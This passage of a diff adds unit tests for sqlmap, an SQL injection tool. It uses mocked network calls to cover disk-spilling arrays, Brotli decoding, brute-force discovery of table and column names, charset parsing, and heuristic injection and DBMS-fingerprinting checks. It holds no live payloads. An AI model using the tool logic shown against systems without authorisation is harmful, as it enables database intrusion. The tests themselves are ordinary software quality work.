_SPILLED[:] + + +class TestSpill(unittest.TestCase): + def test_actually_spilled_to_disk(self): + ba = _make_spilled() + self.assertGreater(len(ba.chunks), 1, msg="expected multiple chunks (a disk spill)") + # stronger than "more than one chunk": at least one chunk must be a real on-disk file + # (spilled chunks are stored as filenames). Otherwise this could pass while everything + # stayed in RAM. + disk_chunks = [c for c in ba.chunks if isinstance(c, str)] + self.assertTrue(disk_chunks, msg="no chunk was spilled to disk") + self.assertTrue(os.path.exists(disk_chunks[0]), msg="spilled chunk file missing on disk") + + def test_len(self): + self.assertEqual(len(_make_spilled()), N) + + def test_random_access_across_boundary(self): + ba = _make_spilled() + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], "item-%d" % i, msg="ba[%d]" % i) + + def test_negative_index(self): + ba = _make_spilled() + self.assertEqual(ba[-1], "item-%d" % (N - 1)) + + def test_iteration_order_preserved(self): + ba = _make_spilled() + for idx, value in enumerate(ba): + if value != "item-%d" % idx: + self.fail("iteration order broke at %d: %r" % (idx, value)) + self.assertEqual(idx, N - 1) + + def test_pop_from_end(self): + ba = _make_spilled() + self.assertEqual(ba.pop(), "item-%d" % (N - 1)) + self.assertEqual(len(ba), N - 1) + + def test_pickle_roundtrip_across_spill(self): + ba = _make_spilled() + restored = pickle.loads(pickle.dumps(ba)) + self.assertIsInstance(restored, BigArray) + self.assertEqual(len(restored), N) + self.assertEqual(restored[0], "item-0") + self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) + + +class TestCacheConsistency(unittest.TestCase): + """The on-disk chunk is served through a single-slot cache (read caching plus + dirty write-back). These check that the cache never serves stale data.""" + + def test_setitem_writeback_across_chunks(self): + ba = _make_spilled() + ref = ["item-%d" % i for i in range(N)] + # mutate elements spread across several different on-disk chunks + for i in (0, 1, 499, 500, 2500, N - 1): + ba[i] = ref[i] = "EDIT-%d" % i + try: + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], ref[i], msg="readback ba[%d]" % i) + self.assertEqual(list(ba), ref) # full independent traversal agrees + finally: + ba.close() + + def test_dirty_edit_survives_pickle(self): + ba = _make_spilled() + ba[10] = "EDITED-LOW" + ba[N - 10] = "EDITED-HIGH" + restored = pickle.loads(pickle.dumps(ba)) + try: + self.assertEqual(restored[10], "EDITED-LOW") + self.assertEqual(restored[N - 10], "EDITED-HIGH") + finally: + restored.close() + ba.close() + + def test_pop_then_append_then_direct_read(self): + # Regression: pop() reloads the last on-disk chunk into memory and deletes its + # file, but a non-dirty cache entry still pointing at that chunk index was left + # in place. A later append that re-dumps the chunk index then made the stale + # cache serve outdated data on a direct __getitem__ (silent data corruption). + ref = ["item-%d" % i for i in range(N)] + ba = _make_spilled() + try: + cl = ba.chunk_length + last = len(ba.chunks) - 2 # last on-disk chunk (tail is the in-memory list) + base = last * cl + + ba[base] # populate cache at idx=last, NOT dirty + + while len(ba) > base + 1: # pop() reloads chunk 'last' from disk, removes its file + ba.pop() + ref.pop() + + for i in range(cl): # re-dump chunk 'last' to a brand new temp file + value = "NEW-%d" % i + ba.append(value) + ref.append(value) + + # direct access to the re-dumped chunk, with no prior read to refresh the cache + for off in range(cl): + self.assertEqual(ba[base + off], ref[base + off], msg="offset %d" % off) + finally: + ba.close() + + +class TestInMemorySmall(unittest.TestCase): + def test_no_spill_for_small(self): + ba = BigArray([1, 2, 3]) + self.assertEqual(len(ba), 3) + self.assertEqual(list(ba), [1, 2, 3]) + # the actual point of this test (the name promised it): a tiny array stays in ONE + # in-memory chunk and never touches disk + self.assertEqual(len(ba.chunks), 1, msg="small array unexpectedly spilled: %r" % (ba.chunks,)) + self.assertFalse(any(isinstance(c, str) for c in ba.chunks), msg="small array wrote a disk chunk") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_brotli.py b/tests/test_brotli.py new file mode 100644 index 00000000000..4024a744c6b --- /dev/null +++ b/tests/test_brotli.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for the dependency-free Brotli (RFC 7932) decompressor under lib/utils/brotli.py, and its wiring +into lib/request/basic.py::decodePage. The compressed fixtures were produced by the reference encoder at +various quality levels; the expected plaintext is reconstructed here by construction, so the suite +validates the decoder fully offline (no third-party 'brotli' module at test time) on Python 2.7 / 3.x. +Positive cases exercise the static dictionary + word transforms, long overlapping copies, UTF-8, the +low-quality (near-uniform tree) path and the repetitive content that relies on the higher insert-and-copy +command ranges. Negative cases assert that hostile input (truncation, garbage, output bombs) is rejected +with a BrotliError rather than silently producing corrupted output. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.brotli import decompress +from lib.utils.brotli import BrotliError + + +# (expected plaintext, reference-compressed stream in hex) +_CASES = [ + (b"", "3b"), + (b"The quick brown fox jumps over the lazy dog.", + "8b158054686520717569636b2062726f776e20666f78206a756d7073206f76657220746865206c617a7920646f672e03"), + (b"the time of the data on the site is now and the code" * 3, + "1b9b000004e164a9be171b85c00636e080bd799109f64571f090852e78334d90cb20ac9c346c190ff171965a3d2f7a90171c"), + (b"the quick brown fox " * 30, + "1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701"), + (b"AB" * 400, "1b1f0300a48284a2b230b009"), + (u"caf\xe9 na\xefve \u4f60\u597d ".encode("utf-8") * 12, + "1bef00004427477ad6d60ac38c93200a288ab462c2a06461d22d186dbbe0263e0707"), + (b"hello hello hello world world foo bar baz " * 6, + "8b7d000080aaaaaaeaff74e5f355048415f8c0000c201701d0ffbbeadf736f75cfa82e6f63b82b5e2c2c2c6c6cacea654675f0e1c38fc160308e33595583c16030180ce65067442a4aa370586827d97b828968074727f5b21e97eebd045d8baeefef94c3fca4fb1e"), +] + +# a valid stream (~1.2 KB of text) whose truncations feed the negative corpus +_TRUNCATION_SAMPLE = binascii.unhexlify("1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701") + + +class TestBrotli(unittest.TestCase): + def test_known_fixtures(self): + for expected, hexstream in _CASES: + self.assertEqual(decompress(binascii.unhexlify(hexstream)), expected) + + def test_empty_stream(self): + self.assertEqual(decompress(binascii.unhexlify("3b")), b"") + + def test_truncation_is_rejected(self): + # every proper prefix of a valid stream is truncated -> must raise, never silently return + # corrupted or zero-padded output + for cut in range(1, len(_TRUNCATION_SAMPLE)): + self.assertRaises(BrotliError, decompress, _TRUNCATION_SAMPLE[:cut]) + + def test_malformed_is_rejected(self): + for blob in (b"\xff", b"\x00\x00\x00", b"\x1b\xff\xff\xff\xff", + _TRUNCATION_SAMPLE + b"\x00\x00\x00\x00", # trailing garbage + binascii.unhexlify("3b") + b"\xde\xad"): # data after a complete empty stream + self.assertRaises(BrotliError, decompress, blob) + + def test_non_brotlierror_never_escapes(self): + # arbitrary bytes must terminate quickly and only ever raise BrotliError (never a raw exception) + for i in range(400): + blob = bytes(bytearray((i * 37 + j * 13) & 0xff for j in range(i % 60))) + try: + decompress(blob) + except BrotliError: + pass + + def test_bomb_cap(self): + # a small stream must not be allowed to expand past the output cap + self.assertRaises(BrotliError, decompress, binascii.unhexlify("1b1f0300a48284a2b230b009"), 16) + + +class TestBrotliDecodePage(unittest.TestCase): + _KB = ("pageCompress", "pageEncoding", "disableHtmlDecoding", "singleLogFlags") + _CONF = ("encoding", "nullConnection") + + def setUp(self): + from lib.core.data import conf, kb + self._kb = dict((name, kb.get(name)) for name in self._KB) + self._conf = dict((name, conf.get(name)) for name in self._CONF) + + def tearDown(self): + from lib.core.data import conf, kb + for name, value in self._kb.items(): + kb[name] = value + for name, value in self._conf.items(): + conf[name] = value + + def test_decodepage_br(self): + from lib.core.data import conf, kb + from lib.request.basic import decodePage + from lib.core.convert import getBytes + + conf.encoding = None + conf.nullConnection = False + kb.pageCompress = True + kb.pageEncoding = None + kb.singleLogFlags = set() + kb.disableHtmlDecoding = True + + body = b"<html><body>secret uid=admin</body></html>" * 25 + # brotli-compressed 'body' (reference encoder, quality 11) + compressed = binascii.unhexlify( + "1b190488c56d6c1ff52d8742bd820d3870892cd08016f661030e310d82f520b7a3513810bf66edf05d3500") + self.assertEqual(getBytes(decodePage(compressed, "br", "text/html; charset=utf-8")), body) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_brute.py b/tests/test_brute.py new file mode 100644 index 00000000000..f85fe4c6c2a --- /dev/null +++ b/tests/test_brute.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for lib/utils/brute.py. + +tableExists / columnExists are driven with conf.direct=True and the external +collaborators (inject.checkBooleanExpression, getFileItems, runThreads, +getPageWordSet) monkeypatched so the check runs synchronously, deterministically +and offline; plus _addPageTextWords. + +Any global conf/kb/Backend state that a call reads or writes is snapshotted in +setUp and restored in tearDown so test ordering is irrelevant. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import DBMS + +import lib.utils.brute as brute +from lib.request import inject + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +class TestBrute(DbmsStateMixin, unittest.TestCase): + """Drive tableExists / columnExists with all external collaborators stubbed. + + conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, + getFileItems and runThreads are monkeypatched so the check runs synchronously, + deterministically and offline. getPageWordSet is neutralized so the wordlist is + just what the stub returns. + """ + + def setUp(self): + DbmsStateMixin.setUp(self) + self._saved_conf = {k: conf.get(k) for k in + ("direct", "db", "tbl", "threads", "api", "verbose")} + self._choices = kb.choices + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._brute = kb.brute + self._origPage = kb.originalPage + + # stub the collaborators + self._orig_cbe = inject.checkBooleanExpression + self._orig_brute_cbe = brute.inject.checkBooleanExpression + self._orig_getFileItems = brute.getFileItems + self._orig_runThreads = brute.runThreads + self._orig_getPageWordSet = brute.getPageWordSet + + from lib.core.datatype import AttribDict + kb.choices = AttribDict(keycheck=False) + kb.choices.tableExists = None + kb.choices.columnExists = None + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.brute = AttribDict({"tables": [], "columns": []}) + kb.originalPage = None + + conf.direct = True + conf.db = None + conf.threads = 1 + conf.api = False + conf.verbose = 0 + + # runThreads -> just call the worker once synchronously + def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): + kb.threadContinue = True + threadFunction() + brute.runThreads = _fakeRunThreads + # no page words injected into the wordlist + brute.getPageWordSet = lambda page: set() + # wordlist file -> small fixed list + brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + kb.choices = self._choices + if self._cachedTables is None: + kb.data.pop("cachedTables", None) + else: + kb.data.cachedTables = self._cachedTables + if self._cachedColumns is None: + kb.data.pop("cachedColumns", None) + else: + kb.data.cachedColumns = self._cachedColumns + kb.brute = self._brute + kb.originalPage = self._origPage + brute.inject.checkBooleanExpression = self._orig_brute_cbe + brute.getFileItems = self._orig_getFileItems + brute.runThreads = self._orig_runThreads + brute.getPageWordSet = self._orig_getPageWordSet + DbmsStateMixin.tearDown(self) + + def test_table_exists_collects_true_results(self): + set_dbms(DBMS.MYSQL) + + def _cbe(expression, expectingNone=True): + # initial sanity probe (random table) -> must be False, otherwise the + # function raises SqlmapDataException; then only "users" exists. + return "users" in expression + brute.inject.checkBooleanExpression = _cbe + + result = brute.tableExists("/nonexistent/tables.txt") + # cachedTables keyed by conf.db (None here) holds the discovered table + self.assertIn(None, result) + self.assertIn("users", result[None]) + self.assertNotIn("logs", result.get(None, [])) + # also recorded in kb.brute.tables as (db, table) + self.assertIn((None, "users"), kb.brute.tables) + + def test_table_exists_invalid_results_raises(self): + from lib.core.exception import SqlmapDataException + set_dbms(DBMS.MYSQL) + # the initial random-table probe returns True -> "invalid results" guard + brute.inject.checkBooleanExpression = lambda *a, **k: True + with self.assertRaises(SqlmapDataException): + brute.tableExists("/nonexistent/tables.txt") + + def test_column_exists_requires_table(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms(DBMS.MYSQL) + conf.tbl = None + # the sanity probe is False so we reach the missing-table guard + brute.inject.checkBooleanExpression = lambda *a, **k: False + with self.assertRaises(SqlmapMissingMandatoryOptionException): + brute.columnExists("/nonexistent/columns.txt") + + def test_column_exists_collects_and_types(self): + set_dbms(DBMS.MYSQL) + conf.tbl = "users" + brute.getFileItems = lambda *a, **k: ["id", "name"] + + calls = {"n": 0} + + def _cbe(expression, expectingNone=True): + calls["n"] += 1 + # initial sanity probe queries a random table, not the real 'users' one - so keying on the + # table name is collision-proof (unlike a column-name substring, which a random probe value + # can incidentally contain, e.g. 'id') + if "users" not in expression: + return False + # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. + # 'id' is numeric (no non-digit chars => probe False => numeric); + # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). + if "REGEXP" in expression: + return "name" in expression + # plain existence check (EXISTS(SELECT <col> FROM <tbl>)) => both columns exist + return True + brute.inject.checkBooleanExpression = _cbe + + result = brute.columnExists("/nonexistent/columns.txt") + self.assertIn(None, result) + cols = result[None]["users"] + # column names are run through safeSQLIdentificatorNaming, so the MySQL + # reserved word "name" comes back backtick-quoted + from lib.core.common import safeSQLIdentificatorNaming, getText + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") + + def test_add_page_text_words_filters(self): + # restore the real getPageWordSet for this one and drive it directly + brute.getPageWordSet = self._orig_getPageWordSet + kb.originalPage = u"<html>admin password 1abc xy verylongword</html>" + words = brute._addPageTextWords() + # words <= 2 chars or starting with a digit are dropped + self.assertIn("admin", words) + self.assertIn("password", words) + self.assertNotIn("xy", words) + self.assertNotIn("1abc", words) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_charset.py b/tests/test_charset.py new file mode 100644 index 00000000000..b7930bee061 --- /dev/null +++ b/tests/test_charset.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Response charset / meta detection and parameter parsing. + +checkCharEncoding canonicalizes the encoding sqlmap will decode a page with; +META_CHARSET_REGEX / HTML_TITLE_REGEX / META_REFRESH_REGEX pull structural hints +out of the body; paramToDict splits the parameters sqlmap will inject into. +These feed decodePage and the comparison engine, so the canonical/None results +are pinned here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import checkCharEncoding +from lib.core.common import extractRegexResult, paramToDict +from lib.core.enums import PLACE +from lib.core.settings import META_CHARSET_REGEX, HTML_TITLE_REGEX, META_REFRESH_REGEX + + +class TestCheckCharEncoding(unittest.TestCase): + def test_canonical_known(self): + for enc in ("utf-8", "windows-1252", "iso-8859-1", "ascii", "latin1"): + self.assertEqual(checkCharEncoding(enc, False), enc, msg="checkCharEncoding(%r)" % enc) + + def test_normalizes_aliases(self): + self.assertEqual(checkCharEncoding("UTF8", False), "utf8") + self.assertEqual(checkCharEncoding("us-ascii", False), "ascii") + + def test_unknown_is_none(self): + self.assertIsNone(checkCharEncoding("boguscharset123", False)) + + def test_none_is_none(self): + self.assertIsNone(checkCharEncoding(None, False)) + + +class TestBodyHints(unittest.TestCase): + def test_meta_charset(self): + self.assertEqual(extractRegexResult(META_CHARSET_REGEX, '<head><meta charset="utf-8"></head>'), "utf-8") + + def test_title(self): + self.assertEqual(extractRegexResult(HTML_TITLE_REGEX, "<title>Login Page"), "Login Page") + + def test_meta_refresh_url(self): + self.assertEqual(extractRegexResult(META_REFRESH_REGEX, + ''), "/next") + + def test_no_match_is_none(self): + self.assertIsNone(extractRegexResult(HTML_TITLE_REGEX, "no title here")) + + +class TestParamToDict(unittest.TestCase): + # NOTE: GET parsing is covered in test_urls.py; here we only cover the COOKIE place, + # which uses a different (semicolon) delimiter and is a distinct code path. + def test_cookie_semicolon_delimited(self): + d = paramToDict(PLACE.COOKIE, "sid=abc; theme=dark") + self.assertEqual(d.get("sid"), "abc") + self.assertEqual(d.get("theme"), "dark") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 00000000000..54988ac5817 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,505 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/controller/checks.py driven with a MOCKED HTTP layer. + +checks.py is the injection-detection controller; almost everything in it goes +through the network seam (lib.request.connect.Connect, imported into the module +as `Request`). By monkeypatching `Request.queryPage` / `Request.getPage` to +return canned (page, headers/ratio, code) tuples - and stubbing `agent.payload` +where the real payload machinery would require a fully-built target - the +decision logic of each check (the kb.*/conf.*/return-value verdict) can be +exercised offline, without a live target, DBMS, or DNS. + +Every test snapshots and restores the conf/kb fields it touches AND every +module attribute it monkeypatches, so ordering between tests (and with the rest +of the suite) is irrelevant. conf.batch is forced on to avoid interactive +prompts, and readInput is stubbed per-test where a branch would prompt. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.controller.checks as checks +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict, InjectionDict +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import DBMS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import NULLCONNECTION +from lib.core.enums import PLACE +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.common import getCurrentThreadData +from lib.parse.html import htmlParser + + +# conf/kb fields any of the checks read or write; snapshotted wholesale so a +# test never leaks state into another test or the rest of the suite. +_CONF_KEYS = ( + "paramDict", "parameters", "url", "hostname", "method", "skipHeuristics", + "prefix", "suffix", "nosql", "graphql", "ldap", "xpath", "ssti", "beep", "string", + "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", + "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", + "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles", +) +_KB_KEYS = ( + "pageTemplate", "negativeLogic", + "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", + "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", + "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", + "nullConnection", "pageCompress", "matchRatio", "skipSeqMatcher", + "choices", "injection", "errorIsNone", "serverHeader", "identifiedWafs", + "tamperFunctions", "resendPostOnRedirect", "checkWafMode", "wafBypass", + "heuristicExtendedDbms", "resumeValues", "mergeCookies", "httpErrorCodes", +) + + +def _snapshot(): + return ( + dict((k, conf.get(k)) for k in _CONF_KEYS), + dict((k, kb.get(k)) for k in _KB_KEYS), + ) + + +def _restore(snap): + confSnap, kbSnap = snap + for k, v in confSnap.items(): + conf[k] = v + for k, v in kbSnap.items(): + kb[k] = v + + +class _ChecksTestBase(unittest.TestCase): + """Snapshots conf/kb and the patchable seams; restores them in tearDown.""" + + def setUp(self): + self._snap = _snapshot() + # remember the real seams so monkeypatches can't leak. agent.payload / + # addPayloadDelimiters are class methods on a shared singleton: patching + # sets an *instance* attribute, so it's restored by deleting that + # attribute (reassigning would leave a stale bound method behind). + self._origQueryPage = checks.Request.queryPage + self._origGetPage = checks.Request.getPage + self._agentHadPayload = "payload" in checks.agent.__dict__ + self._agentHadAddDelims = "addPayloadDelimiters" in checks.agent.__dict__ + self._origReadInput = checks.readInput + self._origDbmsErr = checks.wasLastResponseDBMSError + self._origHttpErr = checks.wasLastResponseHTTPError + self._origCBE = checks.checkBooleanExpression + + # sane offline baseline shared by most checks + conf.batch = True + conf.skipHeuristics = False + conf.prefix = conf.suffix = None + conf.hashDB = None + conf.dummy = conf.offline = conf.proxy = conf.tor = None + kb.choices = AttribDict(keycheck=False) + + def tearDown(self): + checks.Request.queryPage = self._origQueryPage + checks.Request.getPage = self._origGetPage + if not self._agentHadPayload and "payload" in checks.agent.__dict__: + del checks.agent.payload + if not self._agentHadAddDelims and "addPayloadDelimiters" in checks.agent.__dict__: + del checks.agent.addPayloadDelimiters + checks.readInput = self._origReadInput + checks.wasLastResponseDBMSError = self._origDbmsErr + checks.wasLastResponseHTTPError = self._origHttpErr + checks.checkBooleanExpression = self._origCBE + _restore(self._snap) + + # --- helpers --- + + def _patchQueryPage(self, fn): + checks.Request.queryPage = staticmethod(fn) + + def _patchGetPage(self, fn): + checks.Request.getPage = staticmethod(fn) + + @staticmethod + def _contentQuery(page, code=200, headers=None): + """A queryPage that returns (page, headers/ratio, code) when content is + requested and a plain truthiness otherwise.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _detectingContentQuery(page, code=200, headers=None): + """Like _contentQuery, but mirrors the real connection layer's + error-detection seam: it advances the request UID and runs the REAL + htmlParser() over the page (exactly as Connect.getPage() does), so the + page is classified by sqlmap's genuine error regexes. The unstubbed + wasLastResponseDBMSError() then reads the threadData.lastErrorPage this + leaves behind - the heuristic verdict is the detector's, not the stub's.""" + def _fn(*args, **kwargs): + threadData = getCurrentThreadData() + kb.requestCounter = (kb.get("requestCounter") or 0) + 1 + threadData.lastRequestUID = kb.requestCounter + htmlParser(page or "") + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _comparingQuery(page, code=200, headers=None): + """A queryPage that, for a non-content request, runs the REAL + comparison() engine of the injected page against kb.pageTemplate (the + same call Connect.queryPage makes for its True/False verdict). The + matchRatio/seqMatcher dynamicity logic therefore actually executes - + the verdict is computed, not hard-coded.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return checks.comparison(page, headers, code, getRatioValue=False) + return _fn + + +class TestHeuristicCheckSqlInjection(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckSqlInjection, self).setUp() + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://test.invalid/index.php?id=1" + conf.method = None + conf.nosql = conf.graphql = conf.ldap = conf.xpath = conf.ssti = False + conf.beep = False + kb.heavilyDynamic = False + kb.dynamicParameter = False + kb.originalPage = "" + kb.ignoreCasted = False + # clear any error-page marker left by an earlier request so the real + # wasLastResponseDBMSError() starts from a clean slate + td = getCurrentThreadData() + td.lastErrorPage = tuple() + td.lastRequestUID = 0 + # bypass the full payload-building machinery (needs a built target) + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + + def test_skip_heuristics_returns_none(self): + conf.skipHeuristics = True + self.assertIsNone(checks.heuristicCheckSqlInjection(PLACE.GET, "id")) + + def test_positive_on_dbms_error(self): + # Feed a GENUINE MySQL error page (matches sqlmap's real error regex in + # data/xml/errors.xml) through the detecting stub and let the UNSTUBBED + # wasLastResponseDBMSError() classify it. The POSITIVE verdict is then + # the real detector's, not a hard-coded True. + page = ("You have an error in your SQL syntax; check the " + "manual that corresponds to your MySQL server version") + self._patchQueryPage(self._detectingContentQuery(page)) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.POSITIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.POSITIVE) + + def test_negative_on_clean_page(self): + # A clean page matches none of sqlmap's error regexes, so the unstubbed + # wasLastResponseDBMSError() returns false -> NEGATIVE verdict. + self._patchQueryPage(self._detectingContentQuery("a perfectly ordinary page")) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.NEGATIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.NEGATIVE) + + def test_records_page_and_resets_mode(self): + self._patchQueryPage(self._detectingContentQuery("nothing special here")) + checks.heuristicCheckSqlInjection(PLACE.GET, "id") + # mode flags must be flipped back off after the check + self.assertFalse(kb.heuristicMode) + self.assertFalse(kb.disableHtmlDecoding) + + +class TestHeuristicCheckDbms(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckDbms, self).setUp() + kb.injection = InjectionDict() + + def test_skip_heuristics_returns_false(self): + conf.skipHeuristics = True + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_no_match_when_all_expressions_false(self): + checks.checkBooleanExpression = lambda expr: False + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_identifies_dbms_on_distinguishing_pair(self): + # An expr-AWARE oracle that recognises ONLY the predicate + # heuristicCheckDbms() builds for one CHOSEN target DBMS. The function + # iterates every DBMS, forging for each the pair + # positive: (SELECT '')= -> must be True + # negative: (SELECT '')= -> must be False + # ( == SINGLE_QUOTE_MARKER, r1 != r2). The DBMS is reported only when + # the positive holds AND the negative fails. The oracle below returns + # True exactly for that shape - it keys off the chosen DBMS's UNIQUE + # FROM clause (so no other DBMS's predicate matches) and off the two + # quoted literals being equal (so the "must differ" negative is False). + # Firebird is chosen because its FROM clause (' FROM RDB$DATABASE') is + # unique in FROM_DUMMY_TABLE and it is not a HEURISTIC_NULL_EVAL DBMS, + # so heuristicCheckDbms() takes the SELECT-literal predicate path for it. + target = DBMS.FIREBIRD + targetFrom = FROM_DUMMY_TABLE[target] + predicate = re.compile( + r"\(SELECT '([^']*)'( FROM [^)]*)?\)=" + + re.escape(SINGLE_QUOTE_MARKER) + r"(.*?)" + re.escape(SINGLE_QUOTE_MARKER) + ) + + def oracle(expr): + match = predicate.search(expr) + if not match: + return False + selected, fromClause, compared = match.group(1), match.group(2) or "", match.group(3) + # True only for the target DBMS's FROM clause with matching literals + return fromClause == targetFrom and selected == compared + + checks.checkBooleanExpression = oracle + result = checks.heuristicCheckDbms(InjectionDict()) + # real predicate matching must single out the chosen DBMS, not whatever + # getPublicTypeMembers() happens to yield first + self.assertEqual(result, target) + self.assertEqual(kb.heuristicExtendedDbms, target) + + +class TestCheckDynParam(_ChecksTestBase): + # A stable baseline page that checkDynParam's injected response is compared + # against by the REAL comparison() engine. Long enough that difflib's + # quick_ratio is meaningful rather than degenerate. + _BASELINE = ("Welcome" + + "the quick brown fox jumps over the lazy dog. " * 20 + + "") + + def setUp(self): + super(TestCheckDynParam, self).setUp() + conf.method = None + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + # state the real comparison() engine reads + conf.string = conf.notString = conf.regexp = conf.code = None + conf.titles = conf.textOnly = False + kb.nullConnection = False + kb.heavilyDynamic = False + kb.skipSeqMatcher = False + kb.errorIsNone = False + kb.negativeLogic = False + kb.pageCompress = False + kb.matchRatio = None + kb.pageTemplate = self._BASELINE + + def test_redirect_short_circuits(self): + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkDynParam(PLACE.GET, "id", "1")) + + def test_dynamic_when_page_differs(self): + # A response wildly different from the baseline drives the real + # comparison() ratio below LOWER_RATIO_BOUND -> queryPage returns False + # (page differs) -> parameter is dynamic. + self._patchQueryPage(self._comparingQuery("totally unrelated content " + "Z" * 200)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertTrue(result) + self.assertTrue(kb.dynamicParameter) + + def test_not_dynamic_when_page_same(self): + # An identical response yields ratio 1.0 (> UPPER_RATIO_BOUND) from the + # real comparison() -> queryPage returns True (page same) -> not dynamic. + self._patchQueryPage(self._comparingQuery(self._BASELINE)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertFalse(result) + self.assertFalse(kb.dynamicParameter) + + +class TestCheckDynamicContent(_ChecksTestBase): + def setUp(self): + super(TestCheckDynamicContent, self).setUp() + kb.nullConnection = False + + def test_null_connection_skips(self): + kb.nullConnection = NULLCONNECTION.HEAD + self.assertIsNone(checks.checkDynamicContent("a", "b")) + + def test_missing_page_aborts(self): + self.assertIsNone(checks.checkDynamicContent(None, "x")) + + def test_identical_pages_no_dynamicity(self): + # high ratio -> no dynamic-content engine, no further requests + self._patchQueryPage(lambda *a, **kw: self.fail("should not request")) + self.assertIsNone(checks.checkDynamicContent("identical content", "identical content")) + + +class TestCheckStability(_ChecksTestBase): + def setUp(self): + super(TestCheckStability, self).setUp() + kb.originalPageTime = time.time() + kb.nullConnection = False + + def test_stable_when_pages_match(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + self.assertTrue(checks.checkStability()) + self.assertTrue(kb.pageStable) + + def test_redirect_returns_none(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkStability()) + + def test_unstable_continue_choice(self): + kb.originalPage = "FIRST PAGE CONTENT" + conf.retries = 0 + kb.heavilyDynamic = False + 